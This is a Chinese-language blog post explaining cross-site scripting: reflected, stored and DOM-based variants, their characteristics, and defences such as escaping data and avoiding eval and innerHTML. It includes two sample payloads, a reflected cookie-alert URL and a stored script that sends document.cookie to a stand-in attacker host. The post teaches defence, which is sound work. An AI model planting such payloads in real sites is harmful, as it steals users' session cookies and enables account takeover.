XSS(Cross Site Scripting)攻击

xss(Cross Site Scripting):跨站脚本攻击

原理:

恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会
执行,因此会达到恶意攻击用户的目的。那么XSS攻击最主要有如下分类:反射型、存储型、
及 DOM-based型。 反射性和DOM-baseed型可以归类为非持久性XSS攻击。存储型可以归类为持久性XSS攻击。

反射型XSS

反射性XSS的原理是:反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个

包含恶意代码的URL。当受害者点击恶意链接url的时候,

恶意代码会直接在受害者的主机上的浏览器执行。

反射性XSS又可以叫做非持久性XSS 。

攻击者可以直接通过 URL (类似:[https://xx.com/xx?default=](https://link.jianshu.com/?t=https%3A%2F%2Fxx.com%2Fxx%3Fdefault%3D)<script>alert(document.cookie)</script>) 注入可执行的脚本代码。
及恶意链接

非持久型 XSS 漏洞攻击有以下几点特征:

(1)即时性,不经过服务器存储,直接通过 HTTP 的 GET 和 
     POST 请求就能完成一次攻击,拿到用户隐私数据;
(2)攻击者需要诱骗点击;
(3)反馈率低,所以较难发现和响应修复;
(4)盗取用户敏感保密信息。

为了防止出现非持久型 XSS 漏洞,需要确保这么几件事情:

  (1)Web 页面渲染的所有内容或者渲染的数据都必须来自于服务端。
  (2)尽量不要从 URL,document.referrer,document.forms
  	  等这种 DOM API 中获取数据直接渲染。
  (3)尽量不要使用 eval/new Function()/document.write()/document.writeln()
  /window.setInterval()/window.setTimeout()/innerHTML
  /document.creteElement() 等可执行字符串的方法
  (4)如果做不到以上几点,也必须对涉及 DOM 渲染的方法传入的字符串参数做 escape 转义。
   (5)前端渲染的时候对任何的字段都需要做 escape 转义编码。

存储型XSS

存储型XSS的原理是:主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。

比如我现在做了一个博客网站,然后攻击者在上面发布了一篇文章,内容是如下:
<script>window.open("www.gongji.com?param="+document.cookie)</script>
 如果我没有对该文章进行任何处理的话,直接存入到数据库中,那么下一次当其他用户访问
该文章的时候,服务器会从数据库中读取后然后响应给客户端,那么浏览器就会执行这段脚本,
然后攻击者就会获取到用户的cookie,然后会把cookie发送到攻击者的服务器上了。

因此存储型XSS的攻击步骤如下:

1. 攻击者将恶意代码提交到目标网站数据库中。
2. 用户打开目标网站时,网站服务器将恶意代码从数据库中取出,然后拼接到
   html中返回给浏览器中。
3. 用户浏览器接收到响应后解析执行,那么其中的恶意代码也会被执行。
4. 那么恶意代码执行后,就能获取到用户数据,比如上面的cookie等信息,
   那么把该cookie发送到攻击者网站中,那么攻击者拿到该
   cookie然后会冒充该用户的行为,调用目标网站接口等违法操作。

如何防范?

(1)后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理。
(2)后端在输出给前端数据统一进行转义处理。
(3)前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。

参考博文: https://www.cnblogs.com/tugenhua0707/p/10909284.html#_labe0

posted @ 2020-07-28 19:25  Dimple_Y  阅读(279)  评论(0编辑  收藏  举报